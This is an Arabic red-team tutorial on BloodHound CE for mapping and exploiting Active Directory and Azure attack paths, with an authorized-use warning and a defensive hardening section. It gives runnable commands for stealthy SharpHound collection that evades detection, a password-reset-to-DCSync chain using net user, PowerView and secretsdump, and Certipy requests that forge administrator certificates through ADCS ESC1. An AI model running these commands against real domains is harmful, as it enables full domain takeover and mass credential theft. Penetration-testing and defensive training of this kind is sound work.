الفرق الحمراء — الهجومخبير100mL49
إتقان BloodHound — تحليل مسارات هجوم AD
استخدام Cypher للبحث عن ثغرات التحكم في النطاق
#BloodHound#AD#Cypher#SharpHound#Azure
ما هو BloodHound — و لماذا غيّر AD pentesting إلى الأبد؟
تشبيه — شرح مبسط
Active Directory مثل مدينة فيها عشرات آلاف الموظفين، الأبواب، البطاقات، الصلاحيات. قبل BloodHound، المهاجم يفحص باباً واحداً في كل مرة. مع BloodHound، تستورد كل المدينة في graph database و تسأله: "ما أقصر طريق من هذا الباب الجانبي إلى مكتب الـ CEO؟" — و يرسم لك السلسلة كاملة بضغطة زر.
استخدام مصرّح به فقط
BloodHound يجمع كم هائل من بيانات الـ AD. تشغيله ضد domain غير مفوّض = جريمة. استخدمه في pentest موقّع، أو مختبر AD محلي (HTB Pro Labs، GOAD، VulnLab).
BloodHound CE (Community Edition) هو الـ standard الحالي (2024+) — استبدل النسخة القديمة Legacy. هو client-server: SharpHound/AzureHound يجمع، BloodHound CE يحلّل و يُصوّر.
مكونات النظام — افهم القطع قبل التشغيل
- SharpHound (.NET): الـ collector لـ on-prem Active Directory. يُشغّل من جهاز مرتبط بالـ domain (أو Linux مع creds).
- AzureHound (Go): الـ collector لـ Azure AD / Entra ID. يقرأ Microsoft Graph + ARM APIs.
- BloodHound CE: التطبيق الذي يستورد JSON و يعرض الـ graph.
- Neo4j: قاعدة بيانات graph الخلفية. لا تتفاعل معها مباشرة عادة، لكن يمكنك الاستعلام بـ Cypher.
- الـ "Edges": العلاقات (MemberOf, AdminTo, GenericAll, ForceChangePassword, …) — هذه هي قلب التحليل.
تركيب BloodHound CE — Docker (الأسرع)
bash
# يتطلب Docker + Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
docker compose pull
docker compose up
# افتح http://localhost:8080
# username: admin, password يُطبع في log أول تشغيل
docker logs bloodhound 2>&1 | grep "Initial Password"ملاحظة سريعة
BloodHound CE يستبدل BloodHound Legacy. إن وجدت دروساً قديمة تذكر BloodHound.exe، فهي legacy. الـ CE ويب-بيس و أكثر استقراراً.
جمع البيانات — SharpHound
01
التشغيل من جهاز Windows في الـ domain
powershell
# نزّل SharpHound من https://github.com/SpecterOps/SharpHound/releases
# أو ضمن BloodHound CE → File Ingest → Download collector
# الافتراضي: كل شيء عدا session enumeration
SharpHound.exe -c All
# التفاصيل:
# DCOnly — فقط معلومات DC، لا يلمس أي جهاز آخر (الأقل ضوضاء)
# Default — DC + group memberships + sessions + local admin
# All — كل شيء (الأعلى تغطية، الأكثر ضوضاء)
# Session — من الذي يسجّل دخول أين الآن
# LoggedOn — مثل Session لكن أكثر دقة (يحتاج local admin)
# ACL — العلاقات الأهم — اجمعها دائماً02
من Linux (لا يلزم وجود الجهاز في الـ domain)
bash
# bloodhound.py — Python alternative
pip install bloodhound
bloodhound-python -d corp.local -u user -p 'Pass!23' \
-c all -ns 10.10.10.10 --zip
# يخرج .zip جاهز للرفع03
OPSEC أثناء الجمع
- --Stealth: يخفّف الضوضاء، يتجاوز الـ collection methods التي تستفز EDR.
- --JitterPercent 30 --Throttle 1000: عشوائية + تأخير بين الطلبات.
- --ExcludeDomainControllers: لا تفحص DCs مباشرة — قد تستفز ATA/Defender for Identity.
- تجنب All في بيئة محرجة:
-c DCOnly,Group,LocalGroup,GPOLocalGroup,Trusts,ACLأكثر هدوءاً. - ابدأ بـ DCOnly: لو نجح بدون كشف، توسّع تدريجياً.
04
الرفع لـ BloodHound
text
BloodHound CE → الزر "File Ingest" → Drag & drop الـ .zip
أو في legacy: ادخل واجهة Neo4j → Upload Data → اختر JSON files
الانتظار: domain متوسط ~15-30 دقيقة على importجمع Azure — AzureHound
bash
# Linux/Windows، Go binary
azurehound list -u 'user@tenant.onmicrosoft.com' -p 'Pass!' \
--tenant abcd-efgh-... -o azure.json
# أو بـ refresh token (أكثر صمتاً)
azurehound -r '<refresh_token>' --tenant ... list
# يجمع: users, groups, apps, service principals, role assignments, devices, subscriptions, RGsنقاط قوة Azure
BloodHound يكشف pivots حقيقية في Azure مثل: service principal له role في إيجار آخر، أو group nested membership عبر external invite، أو subscription Owner من عبر cross-tenant trust. لا تجد هذه إلا بـ graph traversal.
الاستعلامات الجاهزة — قائمة العشرين الأولى
في BloodHound اضغط على Search → Pre-built Queries:
Quick Wins
- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Find Computers where Domain Users are Local Admin
- Find Kerberoastable Users with Path to DA
- Find AS-REP Roastable Users (DontReqPreAuth)
Big Lateral Movement
- Find Computers with Unsupported OS
- Shortest Paths from Owned Principals
- Find users with Constrained Delegation
- Find computers with Unconstrained Delegation
- Find ADCS abuse paths (ESC1-15)
- Find LAPS read access
Sneaky / Cleanup
- Find Disabled accounts that are Kerberoastable
- Find PrincipalsWith DangerousACE on the Domain
- Find owned objects (mark as red)
- Find sessions of Domain Admins on non-DC
Azure
- Find Global Admins
- Service Principals with Microsoft Graph
- Apps with dangerous Graph permissions
- Path from on-prem to Azure (hybrid escapes)
Cypher — لغة BloodHound السرّية
تشبيه — شرح مبسط
SQL يقول: "أعطني صفوفاً". Cypher يقول: "ارسم لي شكلاً". الجداول vs الـ graphs. كل شخص محترف في BloodHound يكتب Cypher، لأن الاستعلامات الجاهزة تغطي 30% فقط من الحالات.
cypher
// 1) كل المسارات من user محدد إلى Domain Admins
MATCH p=shortestPath((u:User {name:"BOB@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
// 2) أين له Domain User صلاحية write على computer
MATCH p=(u:User {name:"DOMAIN USERS@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember]->(c:Computer)
RETURN p
// 3) Kerberoastable + path لـ DA — السلاح الأقوى
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN u.name, p
ORDER BY length(p)
// 4) كل المستخدمين الذين لا يتطلبون Pre-Auth (AS-REP roastable)
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled
// 5) كل GPOs و من يحرّرها — تعديل GPO = code execution على آلاف الأجهزة
MATCH p=(s)-[r:GenericAll|GenericWrite|WriteOwner]->(g:GPO)
RETURN p
// 6) مسارات من جهاز "owned" (علّمته red) لأي high-value target
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(t {highvalue:true}))
RETURN p LIMIT 50
// 7) مستخدمين لم يسجّلوا دخول منذ 6 شهور — حسابات نائمة جيدة لـ persistence
MATCH (u:User)
WHERE u.lastlogon < (timestamp()/1000 - 15768000)
AND u.enabled = true
RETURN u.name, u.lastlogon
ORDER BY u.lastlogonمفهوم Edges — أهم 15 يجب أن تعرفها
عضويات و ACL
- MemberOf: عضوية مجموعة. الـ traversal الأساسي.
- AdminTo: لـ user/group صلاحية local admin على computer.
- GenericAll: تحكّم كامل بالـ object — أقوى ACL.
- GenericWrite: كتابة معظم attributes.
- WriteOwner: تستطيع جعل نفسك المالك ثم تعطي نفسك GenericAll.
- WriteDacl: تعديل ACL → اعطِ نفسك أي صلاحية.
Kerberos abuse
- AllowedToDelegate: Constrained Delegation.
- AllowedToAct: RBCD (resource-based constrained delegation).
- HasSession: مستخدم مسجّل دخول هنا → احصد NTLM/Kerberos cache.
استعادة كلمات المرور
- ForceChangePassword: غيّر كلمة سر مستخدم آخر بدون معرفة القديمة.
- AddMember: أضف نفسك لمجموعة قوية.
- ReadLAPSPassword: اقرأ كلمة سر local admin من LAPS.
- ReadGMSAPassword: اقرأ كلمة سر gMSA.
Tier-0 / Domain control
- DCSync: اقرأ كل hashes من DC — game over.
- GetChangesAll: نفس الشيء (تركيبة من Replication permissions).
- SyncLAPSPassword: قراءة LAPS عبر AD replication.
سيناريو حقيقي — من Domain User لـ Domain Admin في 4 خطوات
01
Mark as Owned
التقطت hash لـ jsmith عبر Responder. كليك يمين عليه في BloodHound → Mark User as Owned.
02
Shortest Path from Owned
قم بتشغيل الاستعلام الجاهز "Shortest Paths from Owned Principals". ترى:
text
jsmith → MemberOf → IT-SUPPORT
IT-SUPPORT → ForceChangePassword → svc_backup
svc_backup → MemberOf → BACKUP_OPERATORS
BACKUP_OPERATORS → DCSync → CORP.LOCAL03
نفّذ السلسلة
bash
# 1) jsmith → غيّر كلمة سر svc_backup
net user svc_backup NewP@ss123 /domain
# أو via Set-DomainUserPassword (PowerView)
Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
# 2) سجّل دخول كـ svc_backup → نفّذ DCSync
secretsdump.py CORP/svc_backup:'NewP@ss123'@DC.CORP.LOCAL -just-dc
# هنا: كل NTLM hashes في الـ domain → including krbtgt → Golden Ticket forever04
نظّف
أعد كلمة سر svc_backup للقيمة الأصلية إن أمكن. وثّق كل خطوة في الـ report. لا تترك ticketing artifacts.
ADCS — ESC1 إلى ESC15 عبر BloodHound
BloodHound CE يكشف كل ESC paths تلقائياً عبر edges مخصصة:
- ADCSESC1: قالب يسمح بـ SAN spoofing → certificate كأي مستخدم.
- ADCSESC3: enrollment agent template → اطلب cert نيابة عن DA.
- ADCSESC4: vulnerable ACL على template.
- ADCSESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 على CA.
- ADCSESC7-9: NTLM relay → CA endpoints.
- ADCSESC13: OID group link abuse.
bash
# الاستغلال بعد الكشف:
# Certipy (الأداة الموحّدة)
certipy find -u user@corp.local -p Pass! -dc-ip 10.0.0.1 -vulnerable
certipy req -u user@corp.local -p Pass! -ca CORP-CA \
-template VulnTemplate -upn administrator@corp.local
# نتيجة: cert يصادق كـ administrator → DAنصائح احترافية يستخدمها red teams
- اجمع البيانات قبل الحاجة: SharpHound في بداية الـ engagement حتى لو لا تعرف ماذا ستفعل بها.
- استورد على instance خاص: لا تخلط بيانات clients. Docker per-engagement.
- اضغط على عقدة و اختر "Set as Starting Node" + "Set as Ending Node" → "Pathfinding".
- "Mark as High Value" للأنظمة الحساسة (file servers، Exchange، PKI، Tier-0). Pathfinding يفضّلها.
- استخدم Tab "Analysis" — fans-out and fans-in counts تكشف bottlenecks في الـ AD.
- Custom queries.json: احفظ Cypher الخاصة بك للاستخدام عبر engagements.
- تتبّع الـ "Outbound Object Control" لكل user تخترقه — ماذا يستطيع أن يعمل؟
- BloodHound + ldapdomaindump: تكاملان جيد، ldapdomaindump أسرع للملخصات النصية.
- لا تنسَ الـ trusts: غالباً ما يُهمل، لكن child domain trust → forest pivot.
- قبل كل اختراق: Cypher يخبرك بأقصر طريق. لا تتحرك أعمى. كل عضوية مجموعة تضيفها = ضوضاء.
الكشف من جانب الدفاع — كيف تُلتقط؟
مؤشرات تشغيل SharpHound
- كم هائل من LDAP queries من جهاز واحد في وقت قصير.
- SMB sessions مع كل host في الـ domain (lateral session enumeration).
- Microsoft Defender for Identity ينبّه على "Reconnaissance using directory services queries".
- Honey objects: حساب وهمي بـ SPN جذّاب → لو تم Kerberoast = مهاجم.
- ACL changes غير معتادة، خاصة على gMSA و LAPS-readable groups.
الدفاع — هندسة AD غير قابلة للـ BloodHound
مرجع دفاعي عملي
- Tier model صارم: Tier-0 (DC, ADCS, Entra Connect)، Tier-1 (servers)، Tier-2 (workstations). لا تسجيل دخول عبر الـ tiers.
- LAPS لكل local admin: كل جهاز كلمة سر فريدة، تتغيّر دورياً.
- Kerberoast hardening: gMSA لكل service account، disable RC4، AES فقط.
- ADCS hardening: راجع كل template، disable SAN في user templates، EDITF_ATTRIBUTESUBJECTALTNAME2 معطّل.
- Constrained delegation فقط — لا Unconstrained على أي host.
- راقب ACL changes على objects قيّمة — تنبيه فوري.
- Privileged Access Workstations (PAW) لـ Tier-0 admins.
- شغّل BloodHound على نفسك دورياً — اعرف paths قبل المهاجم.
- Microsoft Defender for Identity (مدفوع) — يكشف معظم تقنيات BloodHound + Kerberoast + DCSync.
مصادر للإتقان
- BloodHound Docs: bloodhound.specterops.io — رسمي و محدّث.
- SpecterOps blog: مقالات عميقة من المطوّرين.
- HTB Pro Labs (Dante, Offshore, RastaLabs): AD environments واقعية.
- GOAD (Game of Active Directory): مختبر مجاني يُنشأ بـ Vagrant.
- SANS SEC560/SEC565: تدريبات احترافية.
- كتاب The Hacker Playbook 3 + Pentesting Active Directory by SpecterOps.